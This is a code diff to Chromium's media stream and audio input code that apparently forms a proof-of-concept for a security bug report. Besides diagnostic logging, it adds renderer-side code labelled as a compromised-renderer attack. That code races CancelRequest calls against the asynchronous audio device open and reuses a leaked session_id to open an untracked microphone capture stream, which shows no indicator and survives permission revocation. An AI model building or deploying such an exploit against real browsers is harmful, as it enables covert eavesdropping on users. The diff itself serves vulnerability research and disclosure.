diff --git a/content/browser/renderer_host/media/audio_input_device_manager.cc b/content/browser/renderer_host/media/audio_input_device_manager.cc index 2723decb206664..cf5604be7043f5 100644 --- a/content/browser/renderer_host/media/audio_input_device_manager.cc +++ b/content/browser/renderer_host/media/audio_input_device_manager.cc @@ -10,6 +10,7 @@ #include "base/command_line.h" #include "base/functional/bind.h" #include "base/functional/callback.h" +#include "base/logging.h" #include "base/observer_list.h" #include "base/strings/stringprintf.h" #include "build/build_config.h" @@ -143,8 +144,16 @@ void AudioInputDeviceManager::Close(const base::UnguessableToken& session_id) { DCHECK_CURRENTLY_ON(BrowserThread::IO); SendAudioLogMessage("Close({session_id=" + session_id.ToString() + "})"); auto device = GetDevice(session_id); - if (device == devices_.end()) + if (device == devices_.end()) { + // ==== POC OBSERVATION (does not change behavior) ==== + LOG(ERROR) << "[POC] AudioInputDeviceManager::Close called for session " + << session_id.ToString() + << " but device is NOT yet in devices_ (pending async open). " + "Pending OpenedOnIOThread callback is NOT cancelled -> " + "session will be orphaned when it fires."; + // ==== END POC OBSERVATION ==== return; + } const blink::mojom::MediaStreamType stream_type = device->type; devices_.erase(device); diff --git a/content/browser/renderer_host/media/media_stream_manager.cc b/content/browser/renderer_host/media/media_stream_manager.cc index 5253ebc3156d35..61063b5c7b923c 100644 --- a/content/browser/renderer_host/media/media_stream_manager.cc +++ b/content/browser/renderer_host/media/media_stream_manager.cc @@ -3370,6 +3370,44 @@ void MediaStreamManager::Opened( StreamTypeToString(stream_type), capture_session_id.ToString().c_str())); + // ==== POC OBSERVATION (does not change behavior) ==== + // Detect orphaned-session race: AudioInputDeviceManager just added this + // session to its devices_ list (this callback fires from + // AIDM::OpenedOnIOThread). If MediaStreamManager no longer has any + // DeviceRequest tracking this session, the session is orphaned: the renderer + // can use it via RendererAudioInputStreamFactory::CreateStream because + // ValidateAudioSession() returns true when the request map has no entry. + if (blink::IsAudioInputMediaType(stream_type)) { + bool poc_found_tracking_request = false; + for (const LabeledDeviceRequest& lr : requests_) { + for (const blink::mojom::StreamDevicesPtr& sd : + lr.second->stream_devices_set.stream_devices) { + if ((sd->audio_device && + sd->audio_device->session_id() == capture_session_id) || + (sd->video_device && + sd->video_device->session_id() == capture_session_id)) { + poc_found_tracking_request = true; + } + } + } + if (!poc_found_tracking_request) { + const bool aidm_has_device = + audio_input_device_manager_->GetOpenedDeviceById(capture_session_id) != + nullptr; + const bool validate_passes = + ValidateAudioSession(capture_session_id, GlobalRenderFrameHostId()); + LOG(ERROR) << "[POC] *** ORPHANED AUDIO SESSION CREATED *** session_id=" + << capture_session_id.ToString() + << " AIDM::GetOpenedDeviceById=" << aidm_has_device + << " MSM::ValidateAudioSession(any_frame)=" << validate_passes + << " -- A renderer holding this session_id can now open an " + "audio capture stream that is not tracked by any " + "DeviceRequest (no UI indicator, not closed on permission " + "revocation)."; + } + } + // ==== END POC OBSERVATION ==== + // Find the request(s) containing this device and mark it as used. // It can be used in several requests since the same device can be // requested from the same web page. diff --git a/content/browser/renderer_host/media/render_frame_audio_input_stream_factory.cc b/content/browser/renderer_host/media/render_frame_audio_input_stream_factory.cc index d8099cbd4093d8..a1e2b7f3cd28c4 100644 --- a/content/browser/renderer_host/media/render_frame_audio_input_stream_factory.cc +++ b/content/browser/renderer_host/media/render_frame_audio_input_stream_factory.cc @@ -13,6 +13,7 @@ #include "base/functional/callback.h" #include "base/functional/callback_helpers.h" #include "base/location.h" +#include "base/logging.h" #include "base/memory/raw_ptr.h" #include "base/memory/weak_ptr.h" #include "base/trace_event/trace_event.h" @@ -265,6 +266,15 @@ void RenderFrameAudioInputStreamFactory::Core::CreateStream( return; } + // ==== POC OBSERVATION (does not change behavior) ==== + LOG(ERROR) << "[POC] RenderFrameAudioInputStreamFactory::CreateStream " + "passed validation for session_id=" + << session_id.ToString() << " device_id=" << device->id + << " -> proceeding to forwarding_factory_->CreateInputStream. " + "(If preceded by 'ORPHANED AUDIO SESSION CREATED' for the " + "same session_id, this is unauthorized untracked capture.)"; + // ==== END POC OBSERVATION ==== + WebContentsMediaCaptureId capture_id; if (WebContentsMediaCaptureId::Parse(device->id, &capture_id)) { // For MEDIA_GUM_DESKTOP_AUDIO_CAPTURE, the source is selected from diff --git a/third_party/blink/renderer/modules/mediastream/media_stream_device_observer.cc b/third_party/blink/renderer/modules/mediastream/media_stream_device_observer.cc index b2f95d3621ee8c..054a0b4278bc70 100644 --- a/third_party/blink/renderer/modules/mediastream/media_stream_device_observer.cc +++ b/third_party/blink/renderer/modules/mediastream/media_stream_device_observer.cc @@ -10,7 +10,14 @@ #include "base/functional/bind.h" #include "base/functional/callback_helpers.h" #include "base/logging.h" +#include "base/no_destructor.h" +#include "media/base/audio_parameters.h" +#include "mojo/public/cpp/bindings/pending_remote.h" +#include "third_party/blink/public/mojom/media/renderer_audio_input_stream_factory.mojom-blink.h" #include "third_party/blink/public/platform/interface_registry.h" +#include "third_party/blink/public/web/web_frame.h" +#include "third_party/blink/public/web/web_local_frame.h" +#include "third_party/blink/public/web/web_local_frame_client.h" #include "third_party/blink/renderer/core/frame/local_frame.h" #include "third_party/blink/renderer/modules/mediastream/user_media_processor.h" @@ -35,6 +42,7 @@ bool RemoveStreamDeviceFromArray(const MediaStreamDevice& device, MediaStreamDeviceObserver::MediaStreamDeviceObserver(LocalFrame* frame) { // There is no frame on unit tests. if (frame) { + poc_frame_token_ = frame->GetLocalFrameToken(); frame->GetInterfaceRegistry()->AddInterface(blink::BindRepeating( &MediaStreamDeviceObserver::BindMediaStreamDeviceObserverReceiver, weak_factory_.GetWeakPtr())); @@ -62,6 +70,44 @@ void MediaStreamDeviceObserver::OnDeviceStopped( DVLOG(1) << __func__ << " label=" << label << " device_id=" << device.id; DCHECK_CALLED_ON_VALID_THREAD(thread_checker_); + // ==== POC RENDERER ATTACK (compromised-renderer simulation) ==== + // The browser has just leaked an audio session_id to the renderer via + // OnDeviceStopped. A compromised renderer captures this and immediately + // calls RendererAudioInputStreamFactory::CreateStream with it. If the + // session was orphaned in AudioInputDeviceManager (because Close raced the + // async open), the browser will validate it (ValidateAudioSession returns + // true when no DeviceRequest matches) and open a real audio capture stream + // that is not tracked by MediaStreamManager. + if (IsAudioInputMediaType(device.type) && !device.session_id().is_empty() && + poc_frame_token_.has_value()) { + LOG(ERROR) << "[POC-renderer] OnDeviceStopped leaked session_id=" + << device.session_id().ToString() + << " label=" << label.Utf8() + << " -- attempting CreateAudioInputStream with leaked id"; + if (auto* web_frame = static_cast( + blink::WebFrame::FromFrameToken(*poc_frame_token_))) { + if (web_frame->Client()) { + // Hold the client pipe open in a static so the browser-side broker is + // not torn down before it forwards to the audio service. + static base::NoDestructor< + std::vector>> + poc_keepalive; + mojo::PendingRemote< + mojom::blink::RendererAudioInputStreamFactoryClient> + client; + poc_keepalive->push_back(client.InitWithNewPipeAndPassReceiver()); + media::AudioParameters params = + media::AudioParameters::UnavailableDeviceParams(); + web_frame->Client()->CreateAudioInputStream( + std::move(client), device.session_id(), params, + /*automatic_gain_control=*/false, /*shared_memory_count=*/1, + /*controls_receiver=*/{}, /*settings=*/nullptr); + } + } + } + // ==== END POC RENDERER ATTACK ==== + auto it = label_stream_map_.find(label); if (it == label_stream_map_.end()) { // This can happen if a user stops a device from JS at the same diff --git a/third_party/blink/renderer/modules/mediastream/media_stream_device_observer.h b/third_party/blink/renderer/modules/mediastream/media_stream_device_observer.h index d16f4a12992adf..6a904835a3e50b 100644 --- a/third_party/blink/renderer/modules/mediastream/media_stream_device_observer.h +++ b/third_party/blink/renderer/modules/mediastream/media_stream_device_observer.h @@ -5,9 +5,12 @@ #ifndef THIRD_PARTY_BLINK_RENDERER_MODULES_MEDIASTREAM_MEDIA_STREAM_DEVICE_OBSERVER_H_ #define THIRD_PARTY_BLINK_RENDERER_MODULES_MEDIASTREAM_MEDIA_STREAM_DEVICE_OBSERVER_H_ +#include + #include "base/gtest_prod_util.h" #include "base/memory/weak_ptr.h" #include "base/threading/thread_checker.h" +#include "third_party/blink/public/common/tokens/tokens.h" #include "mojo/public/cpp/bindings/pending_receiver.h" #include "mojo/public/cpp/bindings/receiver.h" #include "third_party/blink/public/common/mediastream/media_stream_request.h" @@ -117,6 +120,10 @@ class MODULES_EXPORT MediaStreamDeviceObserver mojo::Receiver receiver_{this}; + // POC: hold the frame token so the compromised-renderer simulation can call + // RendererAudioInputStreamFactory::CreateStream from OnDeviceStopped. + std::optional poc_frame_token_; + // Used for DCHECKs so methods calls won't execute in the wrong thread. THREAD_CHECKER(thread_checker_); diff --git a/third_party/blink/renderer/modules/mediastream/user_media_processor.cc b/third_party/blink/renderer/modules/mediastream/user_media_processor.cc index 8c52b8d2db02f7..7712b6407391ee 100644 --- a/third_party/blink/renderer/modules/mediastream/user_media_processor.cc +++ b/third_party/blink/renderer/modules/mediastream/user_media_processor.cc @@ -1241,6 +1241,37 @@ void UserMediaProcessor::GenerateStreamForCurrentRequestInfo( BindOnce(&UserMediaProcessor::OnStreamsGenerated, WrapWeakPersistent(this), current_request_info_->request_id())); + + // ==== POC RENDERER ATTACK (compromised-renderer simulation) ==== + // Race a CancelRequest against the browser-side asynchronous + // AudioInputDeviceManager::Open() -> OpenedOnIOThread() callback. + // We sweep the cancellation delay across iterations so that one of them + // lands while the request is in MEDIA_REQUEST_STATE_OPENING (after + // HandleAccessRequestResponse stored the session_id, but before the + // audio-system query has called back). + if (current_request_info_->stream_controls()->audio.requested()) { + static int poc_iteration = 0; + const int32_t poc_request_id = current_request_info_->request_id(); + const int delay_us = (poc_iteration % 600) * 100; // 0..60ms in 100us + poc_iteration++; + LOG(ERROR) << "[POC-renderer] GenerateStreams sent (request_id=" + << poc_request_id << "), scheduling CancelRequest in " + << delay_us << "us"; + task_runner_->PostDelayedTask( + FROM_HERE, + ConvertToBaseOnceCallback(CrossThreadBindOnce( + [](UserMediaProcessor* self, int32_t req_id) { + if (!self || !self->frame_ || !self->frame_->Client()) { + return; + } + LOG(ERROR) << "[POC-renderer] sending CancelRequest(" + << req_id << ")"; + self->GetMediaStreamDispatcherHost()->CancelRequest(req_id); + }, + WrapCrossThreadWeakPersistent(this), poc_request_id)), + base::Microseconds(delay_us)); + } + // ==== END POC RENDERER ATTACK ==== } }